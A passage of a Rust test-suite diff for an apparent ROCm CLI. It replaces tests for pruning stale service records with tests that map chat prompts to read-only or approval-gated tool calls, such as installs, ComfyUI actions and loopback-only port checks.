"{prompt}"); + } + + let port = fallback_rocm_tool_call_for_prompt("what is running on port 8188?").unwrap(); + assert_eq!(port.name, "port_status"); + assert_eq!( + port.arguments, + serde_json::json!({ "host": DEFAULT_LOCAL_HOST, "port": 8188 }) ); - assert!(by_id.is_err(), "a traversing service id must be rejected"); - Ok(()) + assert!(chat_tool_call_is_read_only(&port)); } #[test] - fn services_prune_skips_running_records_and_reports_the_count() -> Result<()> { - let (root, paths) = test_paths("services-prune-live"); - paths.ensure()?; - plant_service_record(&paths, "svc-dead", "failed", 999_999_999)?; - plant_service_record(&paths, "svc-running", "ready", std::process::id())?; + fn fallback_tool_call_routes_engine_install_state_to_engines_list() { + for prompt in ["is vLLM installed?", "is Lemonade available?"] { + let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); + assert_eq!(call.name, "rocm_command", "{prompt}"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec!["engines".to_owned(), "list".to_owned()], + "{prompt}" + ); + assert!(chat_tool_call_is_read_only(&call), "{prompt}"); + } + } - let outcome = prune_managed_service_records(&paths, 0, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } + #[test] + fn supplemental_tool_call_adds_missing_specific_status_check() { + let generic_services = providers::ChatToolCall { + id: Some("model-picked-services".to_owned()), + name: "services".to_owned(), + arguments: serde_json::json!({}), }; - let dead_exists = paths.service_manifest_path("svc-dead").exists(); - let running_exists = paths.service_manifest_path("svc-running").exists(); - let _ = fs::remove_dir_all(&root); - assert!(!dead_exists, "the stopped record must be pruned"); - assert!(running_exists, "a running record must be left alone"); - assert_eq!(outcome.removed_records, 1); - assert_eq!(outcome.skipped_live, 1); - assert!( - outcome.text.contains(" still running, left alone: 1"), - "prune must report how many records it skipped:\n{}", - outcome.text - ); - assert!( - outcome - .text - .contains("rocm services stop svc-running --yes"), - "the skip reason must name the stop command:\n{}", - outcome.text + let call = + supplemental_read_only_tool_call_for_prompt("Is ComfyUI running?", &[generic_services]) + .unwrap(); + + assert_eq!(call.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec!["comfyui".to_owned(), "status".to_owned()] ); - Ok(()) + assert!(chat_tool_call_is_read_only(&call)); } - /// The engine state file lives outside `services_dir`, so hand-deleting the - /// manifest and log — the workaround this command replaces — leaves it - /// behind forever. Prune has to sweep it. #[test] - fn services_prune_sweeps_engine_state_left_behind_by_a_deleted_record() -> Result<()> { - let (root, paths) = test_paths("services-prune-orphans"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-orphaned", "failed", 999_999_999)?; - // Exactly what the manual workaround leaves: the two files in the - // services folder are gone, the engine state and endpoint key are not. - fs::remove_file(&record.manifest_path)?; - let orphan_state = record.engine_state_path; - let orphan_log = record.log_path; - let orphan_key = endpoint_keys::endpoint_key_file_path(&paths, "svc-orphaned"); - - let outcome = prune_managed_service_records(&paths, 0, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let state_exists = orphan_state.exists(); - let log_exists = orphan_log.exists(); - let key_exists = orphan_key.exists(); - let _ = fs::remove_dir_all(&root); + fn supplemental_tool_call_does_not_duplicate_equivalent_status_check() { + let comfy_status = fallback_rocm_tool_call_for_prompt("Is ComfyUI running?").unwrap(); assert!( - !state_exists, - "the orphaned engine state file must be swept:\n{}", - outcome.text + supplemental_read_only_tool_call_for_prompt("Is ComfyUI running?", &[comfy_status]) + .is_none() ); - assert!(!log_exists, "the orphaned log must be swept"); - assert!(!key_exists, "the orphaned endpoint key must be swept"); - assert_eq!(outcome.removed_records, 0); - assert_eq!(outcome.removed_files, 3); - Ok(()) } - /// The window the launch lock exists to close here: `serve` writes - /// the 0600 endpoint key *before* the first manifest, so between those two - /// writes a live server's key has no `.json` beside it — the exact shape - /// the sweep calls a leftover, and `--any-age` leaves no age gate to hide it - /// behind. `serve` holds the managed-launch lock across the whole of that - /// interval, so the fix is for `prune` to acquire it too. - /// - /// Shape of the test, since `FileLock::acquire` blocks with no `try_` - /// variant and calling `prune` on the thread that holds the lock would - /// simply deadlock: the main thread stands in for the launch and holds the - /// lock with only the key written, a second thread runs the real - /// `--any-age --yes` argv, and the main thread then does what the launch - /// does next — writes the record — *before* releasing. So the sweep sees the - /// directory only in its published state. - /// - /// Two independent assertions each fail on their own if `prune` stops - /// acquiring the lock: the negative wait (prune returns while the lock is - /// held, so it never waited for it) and the endpoint key (prune scans before - /// the record lands and deletes it). The negative wait is reported first - /// only because it names the cause; it is not load-bearing on its own, so - /// deleting it as "timing-sensitive" still leaves a pure filesystem fact - /// behind it. For that second assertion to mean anything, the record has to - /// be published *without* rewriting the key — hence - /// [`plant_service_record_without_its_key`] below rather than the full - /// planter. The negative wait in turn cannot pass vacuously: the worker - /// physically cannot report completion without first holding the lock the - /// main thread has. #[test] - fn services_prune_waits_for_the_managed_launch_lock_before_sweeping() -> Result<()> { - use std::sync::mpsc; + fn supplemental_tool_call_adds_running_state_for_engine_install_question() { + let engine_inventory = + fallback_rocm_tool_call_for_prompt("Is vLLM installed and is it running?").unwrap(); + assert_eq!( + normalized_chat_rocm_command_args(&engine_inventory).unwrap(), + vec!["engines".to_owned(), "list".to_owned()] + ); - /// Long enough that a `prune` over an all-but-empty data dir would have - /// finished many times over, short enough to keep the suite quick. Only - /// ever compared against "did not finish", so a slow machine makes this - /// more conclusive, never flakier. - const WAIT_PROOF: Duration = Duration::from_millis(500); - const ID: &str = "svc-launching"; + let services = supplemental_read_only_tool_call_for_prompt( + "Is vLLM installed and is it running?", + &[engine_inventory], + ) + .unwrap(); - let (root, paths) = test_paths("services-prune-launch-lock"); - paths.ensure()?; - // Write 1 of 2, byte for byte as `serve` does it at the top of the - // managed path. No manifest yet: `spawn_managed_engine_child` has not - // reached `record.write()`. - endpoint_keys::store_endpoint_api_key(&paths, ID, "live-secret")?; - assert!( - !paths.service_manifest_path(ID).exists(), - "premise: the manifest must not be written yet" + assert_eq!(services.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&services).unwrap(), + vec!["services".to_owned(), "list".to_owned(), "--all".to_owned()] ); - let launch_lock = rocm_core::FileLock::acquire(paths.managed_launch_lock_path())?; + assert!(chat_tool_call_is_read_only(&services)); + } - let (started_tx, started_rx) = mpsc::channel(); - let (done_tx, done_rx) = mpsc::channel(); - let (waited, published, finished) = std::thread::scope(|scope| { - scope.spawn(|| { - started_tx.send(()).expect("signal about to prune"); - let outcome = - parse_services_prune_args(&["rocm", "services", "prune", "--any-age", "--yes"]) - .and_then(|(hours, dry_run, yes)| { - prune_managed_service_records(&paths, hours, dry_run, yes) - }); - let _ = done_tx.send( - outcome - .map(|outcome| (outcome.removed_files, outcome.skipped_live, outcome.text)) - .map_err(|error| error.to_string()), - ); - }); - // The worker is running before the negative check below, so that - // check is about the lock and not about scheduling latency. - started_rx - .recv_timeout(Duration::from_secs(10)) - .expect("prune thread started"); - let early = done_rx.recv_timeout(WAIT_PROOF); - let waited = early.is_err(); - // Write 2 of 2, still under the lock: the launch publishes its - // record, and the key stops looking like a leftover. `serve` does - // this at `record.write()`, well before it drops the guard. - // Only the record: the key was written above, by the launch, and - // must not be re-planted here. `plant_service_record` would rewrite - // it, and a rewritten key is present at the end of the test whether - // or not the sweep deleted it — which is exactly how the two key - // assertions below would stop being tripwires. - let published = - plant_service_record_without_its_key(&paths, ID, "starting", std::process::id()) - .map(|_| ()); - // Nothing above this line may panic: the worker is blocked on this - // guard, and `scope` would join it forever. - drop(launch_lock); - let finished = match early { - Ok(finished) => finished, - Err(_) => done_rx - .recv_timeout(Duration::from_mins(1)) - .expect("prune completes once the launch lock is released"), - }; - (waited, published, finished) - }); - let key_exists = endpoint_keys::endpoint_key_file_path(&paths, ID).exists(); - let key_value = endpoint_keys::endpoint_api_key(&paths, ID); - let _ = fs::remove_dir_all(&root); + #[test] + fn supplemental_tool_call_treats_loopback_port_checks_as_equivalent() { + let model_port_check = providers::ChatToolCall { + id: Some("model-picked-port".to_owned()), + name: "port_status".to_owned(), + arguments: serde_json::json!({ "host": "localhost", "port": 8188 }), + }; - published.context("failed to publish the launch's record under the lock")?; - assert!( - waited, - "prune finished while the managed-launch lock was held, so it never \ - acquired it — a launch between its key write and its record write \ - is still exposed:\n{finished:?}" - ); - let (removed_files, skipped_live, text) = - finished.map_err(|error| anyhow::anyhow!("prune failed: {error}"))?; assert!( - key_exists, - "the starting server's endpoint key must survive a concurrent \ - --any-age prune:\n{text}" - ); - assert_eq!( - key_value.as_deref(), - Some("live-secret"), - "the key the starting server needs must survive intact" - ); - assert_eq!( - removed_files, 0, - "the published record makes its key a companion, not a leftover:\n{text}" + supplemental_read_only_tool_call_for_prompt( + "what is running on port 8188?", + &[model_port_check] + ) + .is_none() ); + } + + #[test] + fn fallback_tool_call_runs_status_checks() { + for prompt in [ + "Which GPU is on my machine, and is ROCm installed?", + "Is TheRock setup on my machine?", + "Check this ROCm setup.", + ] { + let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); + assert_eq!(call.name, "examine"); + assert_eq!(call.arguments, serde_json::json!({})); + } + } + + #[test] + fn fallback_tool_call_routes_therock_setup_to_install_folder_flow() { + let call = fallback_rocm_tool_call_for_prompt("How do I setup TheRock?").unwrap(); + assert_eq!(call.name, "rocm_command"); assert_eq!( - skipped_live, 1, - "the launch is live by the time prune reads the directory:\n{text}" + normalized_chat_rocm_command_args(&call).unwrap(), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + ] ); - Ok(()) + assert!(!chat_tool_call_is_read_only(&call)); } #[test] - fn services_prune_dry_run_reports_the_plan_and_removes_nothing() -> Result<()> { - let (root, paths) = test_paths("services-prune-dry-run"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-dry", "failed", 999_999_999)?; + fn fallback_tool_call_preserves_requested_therock_install_prefix() { + for (prompt, expected_prefix) in [ + ( + "install TheRock for me in D:\\ROCm\\therock_venvs", + "D:\\ROCm\\therock_venvs", + ), + ("install ROCm to D:\\ROCm\\temp", "D:\\ROCm\\temp"), + ] { + let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); + assert_eq!(call.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--prefix".to_owned(), + expected_prefix.to_owned(), + ] + ); + assert!(!chat_tool_call_is_read_only(&call)); + } + } - let outcome = prune_managed_service_records(&paths, 0, true, false); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let manifest_exists = record.manifest_path.exists(); - let engine_state_exists = record.engine_state_path.exists(); - let _ = fs::remove_dir_all(&root); + #[test] + fn fallback_tool_call_routes_requested_therock_build_date_install() { + for (prompt, expected_prefix) in [ + ( + "Install this specific TheRock wheel from date 06052026 into D:\\ROCm\\therock_venvs", + "D:\\ROCm\\therock_venvs", + ), + ( + "install ROCm at D:\\ROCm\\temp with build date 2026-06-05", + "D:\\ROCm\\temp", + ), + ] { + let call = fallback_rocm_tool_call_for_prompt(prompt).unwrap(); + assert_eq!(call.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--prefix".to_owned(), + expected_prefix.to_owned(), + "--build-date".to_owned(), + "2026-06-05".to_owned(), + ], + "{prompt}" + ); + assert!(!chat_tool_call_is_read_only(&call)); + } + } - assert!(manifest_exists, "--dry-run must not delete the record"); - assert!(engine_state_exists, "--dry-run must not delete anything"); - assert_eq!(outcome.removed_records, 0); - assert_eq!(outcome.removed_files, 0); - assert!(outcome.text.contains("- svc-dry (status: failed")); - assert!( - outcome - .text - .contains("Nothing was removed. Re-run without --dry-run to remove.") + #[test] + fn fallback_tool_call_does_not_install_therock_without_folder() { + let call = fallback_rocm_tool_call_for_prompt( + "Install this specific TheRock wheel from date 06052026", + ) + .unwrap(); + assert_eq!(call.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--build-date".to_owned(), + "2026-06-05".to_owned(), + ] ); + assert!(!chat_tool_call_is_read_only(&call)); + } + + #[test] + fn chat_install_intent_without_folder_uses_folder_picker_not_rocm_check() -> Result<()> { + let (_root, paths) = test_paths("chat-install-intent-folder-picker"); + for prompt in [ + "i need to install rocm", + "How do I setup TheRock?", + "install therock", + "How do I get it to install therock?", + "rocm please", + "make my AMD GPU ready", + "get TheRock installed for local AI", + "set up my AMD GPU for local AI", + "install this specific TheRock wheel from date 06052026", + ] { + let result = render_chat_prompt_result(&paths, "local", None, prompt, true)?; + let approval = result + .approval + .as_ref() + .expect("install should need folder"); + assert_eq!(approval.pending_title, "Install ROCm", "{prompt}"); + assert_eq!( + approval.args[..6], + [ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + ], + "{prompt}" + ); + assert!( + !approval.args.iter().any(|arg| arg == "--prefix"), + "{prompt}" + ); + assert!( + result.rendered.contains("First choose the folder"), + "{prompt}: {}", + result.rendered + ); + assert!( + !result.rendered.contains("I checked ROCm"), + "{prompt}: {}", + result.rendered + ); + assert!( + !result.rendered.contains("ROCm CLI summary"), + "{prompt}: {}", + result.rendered + ); + if prompt.contains("06052026") { + assert!(approval.args.contains(&"--build-date".to_owned())); + assert!(approval.args.contains(&"2026-06-05".to_owned())); + } + } Ok(()) } - /// The `--all` view advertises `rocm services restart --yes` for every - /// record it lists. Pruning a server that died a minute ago would destroy - /// that affordance and the log explaining the failure, so the default age - /// gate keeps it. #[test] - fn services_prune_default_age_keeps_a_just_stopped_record() -> Result<()> { - let (root, paths) = test_paths("services-prune-age"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; + fn chat_install_intent_ignores_old_conversation_words() -> Result<()> { + let (_root, paths) = test_paths("chat-install-intent-latest-message"); + let prompt = "\ +Conversation so far: +Assistant: Use /examine to refresh actual GPU memory fit before starting anything large. +Assistant: Native Windows note: models may use WSL/Linux through Windows. - let outcome = - prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let manifest_exists = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); +New message: +install therock"; + + let result = render_chat_prompt_result(&paths, "local", None, prompt, true)?; + let approval = result + .approval + .as_ref() + .expect("direct latest install request should need a folder"); + + assert_eq!(approval.pending_title, "Install ROCm"); + assert!(!approval.args.iter().any(|arg| arg == "--prefix")); + assert!(result.rendered.contains("I can install ROCm/TheRock")); + assert!(result.rendered.contains("First choose the folder")); + assert!(!result.rendered.contains("I checked ROCm")); + assert!(!result.rendered.contains("ROCm CLI summary")); + Ok(()) + } + #[test] + fn chat_how_to_setup_question_opens_install_folder_flow() { assert!( - manifest_exists, - "a record written seconds ago must survive the default prune:\n{}", - outcome.text + install_sdk_without_prefix_chat_approval("How do I setup TheRock?").is_some(), + "a setup question should ask for the install folder" ); - assert_eq!(outcome.removed_records, 0); assert!( - outcome - .text - .contains("svc-fresh changed less than 24 hours ago"), - "prune must say why it was kept:\n{}", - outcome.text + install_sdk_without_prefix_chat_approval("install therock").is_some(), + "a direct install command should open the folder picker" ); - Ok(()) } - /// The age gate reads the manifest's modification time, and - /// `load_managed_services` rewrites that manifest the first time it observes - /// that a `ready` server has died — a crash, a kill, a reboot. Read after - /// that rewrite the record looks newer than the prune run itself, so the - /// fail-closed branch keeps it: on a host whose servers died weeks ago and - /// have not been listed since, `rocm services prune --yes` removed nothing - /// at all and called every one of them too recent to touch. #[test] - fn services_prune_default_age_removes_a_record_the_refresh_rewrote() -> Result<()> { - let (root, paths) = test_paths("services-prune-refresh-rewrite"); - paths.ensure()?; - // `ready` with a dead pid is the state that triggers the rewrite: the - // liveness refresh demotes the status and persists the demotion. - let record = plant_service_record(&paths, "svc-long-dead", "ready", 999_999_999)?; - let month_ago = SystemTime::now() - Duration::from_hours(24 * 30); - fs::File::options() - .write(true) - .open(&record.manifest_path)? - .set_modified(month_ago)?; - - let outcome = - prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let manifest_exists = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); + fn chat_install_intent_preserves_bare_folder_path() { + let approval = + install_sdk_chat_approval_for_prompt("install therock D:\\ROCm\\therock_venvs") + .expect("direct install prompt should be recognized"); - assert!( - !manifest_exists, - "a record last written a month ago must be pruned even though the \ - liveness refresh rewrote its manifest during this run:\n{}", - outcome.text + assert_eq!( + approval.args, + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--prefix".to_owned(), + "D:\\ROCm\\therock_venvs".to_owned(), + ] ); - assert_eq!(outcome.removed_records, 1); + } + + #[test] + fn fallback_tool_call_routes_requested_therock_exact_version_install() { + let call = fallback_rocm_tool_call_for_prompt( + "Install the TheRock ROCm wheel version 7.13.0a20260605 into D:\\ROCm\\therock_venvs", + ) + .unwrap(); + assert_eq!(call.name, "rocm_command"); assert_eq!( - outcome.skipped_recent, 0, - "the refresh's own rewrite must not make a month-old record recent:\n{}", - outcome.text + normalized_chat_rocm_command_args(&call).unwrap(), + vec![ + "install".to_owned(), + "sdk".to_owned(), + "--channel".to_owned(), + "release".to_owned(), + "--format".to_owned(), + "wheel".to_owned(), + "--prefix".to_owned(), + "D:\\ROCm\\therock_venvs".to_owned(), + "--version".to_owned(), + "7.13.0a20260605".to_owned(), + ] ); - Ok(()) + assert!(!chat_tool_call_is_read_only(&call)); } - /// A cleanup that keeps things silently is indistinguishable from one that - /// found nothing, and what it keeps is exactly what a user debugging a fresh - /// failure still wants. The count and the way to override it both have to be - /// on screen. #[test] - fn services_prune_says_how_many_it_kept_for_being_recent() -> Result<()> { - let (root, paths) = test_paths("services-prune-recent-report"); - paths.ensure()?; - plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; - - let outcome = - prune_managed_service_records(&paths, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } + fn path_exists_chat_tool_is_read_only() { + let call = providers::ChatToolCall { + id: Some("path-check".to_owned()), + name: "path_exists".to_owned(), + arguments: serde_json::json!({ "path": "D:\\ROCm\\temp" }), }; - let _ = fs::remove_dir_all(&root); - assert_eq!(outcome.skipped_recent, 1); - assert!( - outcome.text.contains(" too recent, kept: 1"), - "the summary must count what it kept:\n{}", - outcome.text - ); - assert!( - outcome.text.contains("rocm services prune --any-age --yes"), - "the summary must name the flag that includes them:\n{}", - outcome.text - ); - Ok(()) + validate_chat_tool_call(&call).unwrap(); + assert!(chat_tool_call_is_read_only(&call)); } - /// Parse a real `rocm services prune` command line and return exactly what - /// the dispatch at `ServicesCommand::Prune` would hand - /// [`prune_managed_service_records`]. Nothing here re-implements the flag - /// mapping: it runs [`service_prune_min_age_hours`], the same function the - /// command uses, so a test driving this covers the wiring and not a copy of - /// it. - fn parse_services_prune_args(argv: &[&str]) -> Result<(u64, bool, bool)> { - let cli = Cli::try_parse_from(argv)?; - let Some(Command::Services { - command: - Some(ServicesCommand::Prune { - older_than_hours, - any_age, - dry_run, - yes, - }), - }) = cli.command - else { - bail!("{argv:?} did not parse as `services prune`"); + #[test] + fn port_status_chat_tool_is_read_only_and_loopback_only() { + let call = providers::ChatToolCall { + id: Some("port-check".to_owned()), + name: "port_status".to_owned(), + arguments: serde_json::json!({ "host": "127.0.0.1", "port": 8188 }), }; - Ok(( - service_prune_min_age_hours(older_than_hours, any_age), - dry_run, - yes, - )) + + validate_chat_tool_call(&call).unwrap(); + assert!(chat_tool_call_is_read_only(&call)); + + let public = providers::ChatToolCall { + id: Some("public-port-check".to_owned()), + name: "port_status".to_owned(), + arguments: serde_json::json!({ "host": "192.168.1.10", "port": 8188 }), + }; + let error = validate_chat_tool_call(&public).unwrap_err().to_string(); + assert!(error.contains("non-local host"), "{error}"); } - /// `--any-age` is the reachable form of `--older-than-hours 0`: the summary - /// points at it, so it has to actually take the record the default kept. - /// - /// Driven from the argument vector rather than by passing 0 by hand — - /// otherwise this is just another call with `hours = 0` and the flag's only - /// wiring, the collapse in [`service_prune_min_age_hours`], is never - /// executed by any test. #[test] - fn services_prune_any_age_removes_a_just_stopped_record() -> Result<()> { - let (root, paths) = test_paths("services-prune-any-age"); + fn port_status_matches_loopback_managed_services() -> Result<()> { + let (root, paths) = test_paths("port-status-loopback"); paths.ensure()?; - let record = plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; + let mut record = ManagedServiceRecord::new( + &paths, + "svc-comfyui", + "comfyui", + "ComfyUI", + "ComfyUI", + "127.0.0.1", + 18188, + "managed", + std::process::id(), + Some("therock-release".to_owned()), + None, + Some("gpu_required".to_owned()), + ); + record.status = "ready".to_owned(); + record.write()?; - let outcome = - parse_services_prune_args(&["rocm", "services", "prune", "--any-age", "--yes"]) - .and_then(|(hours, dry_run, yes)| { - assert_eq!(hours, 0, "--any-age must collapse to the zero-age rule"); - assert!(!dry_run); - assert!(yes); - prune_managed_service_records(&paths, hours, dry_run, yes) - }); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } + let call = providers::ChatToolCall { + id: Some("port-check".to_owned()), + name: "port_status".to_owned(), + arguments: serde_json::json!({ "host": "localhost", "port": 18188 }), }; - let manifest_exists = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); + let result = run_chat_port_status_tool(&paths, &call)?; + let text = mcp_tool_result_text(&result); + let managed_service_count = result + .get("structuredContent") + .and_then(|content| content.get("managed_services")) + .and_then(serde_json::Value::as_array) + .map_or(0, Vec::len); + let _ = fs::remove_dir_all(root); - assert!( - !manifest_exists, - "--any-age must remove the record the default keeps:\n{}", - outcome.text + assert_eq!(managed_service_count, 1); + assert!(text.contains("managed_services:"), "{text}"); + assert!(text.contains("service_id=svc-comfyui"), "{text}"); + assert!(text.contains("running_state=starting"), "{text}"); + Ok(()) + } + + #[test] + fn fallback_tool_call_routes_simple_config_changes() { + let show = fallback_rocm_tool_call_for_prompt("Show current ROCm CLI config").unwrap(); + assert_eq!( + normalized_chat_rocm_command_args(&show).unwrap(), + vec!["config".to_owned(), "show".to_owned()] ); - assert_eq!(outcome.removed_records, 1); + assert!(chat_tool_call_is_read_only(&show)); + + let engine = fallback_rocm_tool_call_for_prompt("Set the default engine to vllm").unwrap(); assert_eq!( - outcome.skipped_recent, 0, - "nothing is 'too recent' once the age rule is off:\n{}", - outcome.text + normalized_chat_rocm_command_args(&engine).unwrap(), + vec![ + "config".to_owned(), + "set-default-engine".to_owned(), + "vllm".to_owned(), + ] ); - Ok(()) + assert!(!chat_tool_call_is_read_only(&engine)); + + let telemetry = + fallback_rocm_tool_call_for_prompt("Disable telemetry in settings").unwrap(); + assert_eq!( + normalized_chat_rocm_command_args(&telemetry).unwrap(), + vec![ + "config".to_owned(), + "set-telemetry".to_owned(), + "off".to_owned(), + ] + ); + assert!(!chat_tool_call_is_read_only(&telemetry)); } - /// Without the flag the very same parsed command line must keep the record, - /// which is what makes the assertion above about `--any-age` and not about - /// prune deleting things in general. #[test] - fn services_prune_without_any_age_keeps_the_default_threshold() -> Result<()> { - let (root, paths) = test_paths("services-prune-no-any-age"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-fresh", "failed", 999_999_999)?; + fn fallback_tool_call_routes_comfyui_support_and_actions() { + let status = fallback_rocm_tool_call_for_prompt("How do I setup ComfyUI?").unwrap(); + assert_eq!(status.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&status).unwrap(), + vec!["comfyui".to_owned(), "status".to_owned()] + ); + assert!(chat_tool_call_is_read_only(&status)); - let parsed = parse_services_prune_args(&["rocm", "services", "prune", "--yes"]); - let outcome = parsed.and_then(|(hours, dry_run, yes)| { - assert_eq!( - hours, DEFAULT_SERVICE_PRUNE_MIN_AGE_HOURS, - "no --any-age means the default age rule still applies" - ); - prune_managed_service_records(&paths, hours, dry_run, yes) - }); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } - }; - let manifest_exists = record.manifest_path.exists(); - let _ = fs::remove_dir_all(&root); + let install = fallback_rocm_tool_call_for_prompt("Can you setup ComfyUI for me?").unwrap(); + assert_eq!( + normalized_chat_rocm_command_args(&install).unwrap(), + vec!["comfyui".to_owned(), "install".to_owned()] + ); + assert!(!chat_tool_call_is_read_only(&install)); + let approval = + chat_tool_approval_request(&install, Some("Install ComfyUI after approval.")).unwrap(); + assert_eq!(approval.pending_title, "Install ComfyUI"); - assert!( - manifest_exists, - "the default must keep it:\n{}", - outcome.text + let start = fallback_rocm_tool_call_for_prompt("Can you start ComfyUI?").unwrap(); + assert_eq!( + normalized_chat_rocm_command_args(&start).unwrap(), + vec!["comfyui".to_owned(), "start".to_owned()] ); - assert_eq!(outcome.removed_records, 0); - assert_eq!(outcome.skipped_recent, 1); - Ok(()) + assert!(!chat_tool_call_is_read_only(&start)); + let approval = + chat_tool_approval_request(&start, Some("Start ComfyUI after approval.")).unwrap(); + assert_eq!(approval.pending_title, "Start ComfyUI"); } - /// `--any-age` and an explicit `--older-than-hours` would be two answers to - /// one question; clap has to reject the pair rather than silently pick one. #[test] - fn services_prune_rejects_any_age_with_an_explicit_age() { - let error = Cli::try_parse_from([ - "rocm", - "services", - "prune", - "--any-age", - "--older-than-hours", - "5", - ]) - .expect_err("the two age arguments must conflict"); - let rendered = error.to_string(); - assert!( - rendered.contains("--any-age") && rendered.contains("--older-than-hours"), - "the conflict must name both arguments:\n{rendered}" + fn fallback_tool_call_routes_local_llm_serve_requests() { + let call = + fallback_rocm_tool_call_for_prompt("Can you setup and serve an LLM for me?").unwrap(); + assert_eq!(call.name, "rocm_command"); + assert_eq!( + normalized_chat_rocm_command_args(&call).unwrap(), + vec![ + "serve".to_owned(), + "qwen".to_owned(), + "--engine".to_owned(), + "lemonade".to_owned(), + "--device".to_owned(), + "gpu_required".to_owned(), + "--managed".to_owned(), + ] + ); + assert!(!chat_tool_call_is_read_only(&call)); + let approval = + chat_tool_approval_request(&call, Some("Start qwen after approval.")).unwrap(); + assert_eq!(approval.pending_title, "Start local model server"); + assert_eq!( + rocm_chat_tool_requested_command(&call).as_deref(), + Some("rocm serve qwen --engine lemonade --device gpu_required --managed") ); } - /// `collect_service_orphans`' doc comment leans on this: an *unparseable* - /// manifest is skipped by `load_managed_services`, so widening the orphan - /// rule from "no `.json` on disk" to "no record in the list" would - /// delete the log of the one record a user most needs to read, and the - /// corrupt manifest with it. Nothing asserted that until now — the other - /// tests only ever plant a fully absent manifest. #[test] - fn services_prune_keeps_a_corrupt_manifest_and_its_siblings() -> Result<()> { - let (root, paths) = test_paths("services-prune-corrupt"); - paths.ensure()?; - let record = plant_service_record(&paths, "svc-corrupt", "failed", 999_999_999)?; - // Valid JSON, not a valid record: `serde_json::from_slice` fails, so - // `load_managed_services` skips it without reporting an error. - fs::write(&record.manifest_path, b"{\"service_id\": 12345}")?; - let key_path = endpoint_keys::endpoint_key_file_path(&paths, "svc-corrupt"); - - let outcome = prune_managed_service_records(&paths, 0, false, true); - let outcome = match outcome { - Ok(outcome) => outcome, - Err(error) => { - let _ = fs::remove_dir_all(&root); - return Err(error); - } + fn local_chat_tool_call_content_is_treated_as_intermediate() { + let response = providers::ChatResponse { + provider: "local".to_owned(), + model: "Qwen/Qwen3-0.6B".to_owned(), + content: "The active runtime root is /opt/rocm.".to_owned(), + tool_calls: vec![providers::ChatToolCall { + id: Some("call-1".to_owned()), + name: "examine".to_owned(), + arguments: serde_json::json!({}), + }], }; - let manifest_exists = record.manifest_path.exists(); - let log_exists = record.log_path.exists(); - let state_exists = record.engine_state_path.exists(); - let key_exists = key_path.exists(); - let _ = fs::remove_dir_all(&root); - assert!( - manifest_exists, - "a manifest that cannot be parsed must never be deleted:\n{}", - outcome.text - ); - assert!( - log_exists, - "the log of an unreadable record is exactly what a user needs:\n{}", - outcome.text - ); - assert!(state_exists, "the engine state must not look orphaned"); - assert!(key_exists, "the endpoint key must not look orphaned"); - assert_eq!(outcome.removed_records, 0); - assert_eq!(outcome.removed_files, 0); - Ok(()) + assert!(local_tool_call_content_is_intermediate( + "local", true, &response + )); + assert!(!local_tool_call_content_is_intermediate( + "openai", true, &response + )); + assert!(!local_tool_call_content_is_intermediate( + "local", false, &response + )); + + let without_tools = providers::ChatResponse { + tool_calls: Vec::new(), + ..response + }; + assert!(!local_tool_call_content_is_intermediate( + "local", + true, + &without_tools + )); } - /// The status string is not proof of death. `refresh_from_engine_state` - /// adopts `failed` straight from the engine's own state file and the - /// liveness refresh then returns early for a non-live status, so a server - /// whose engine reported failure while its process is still 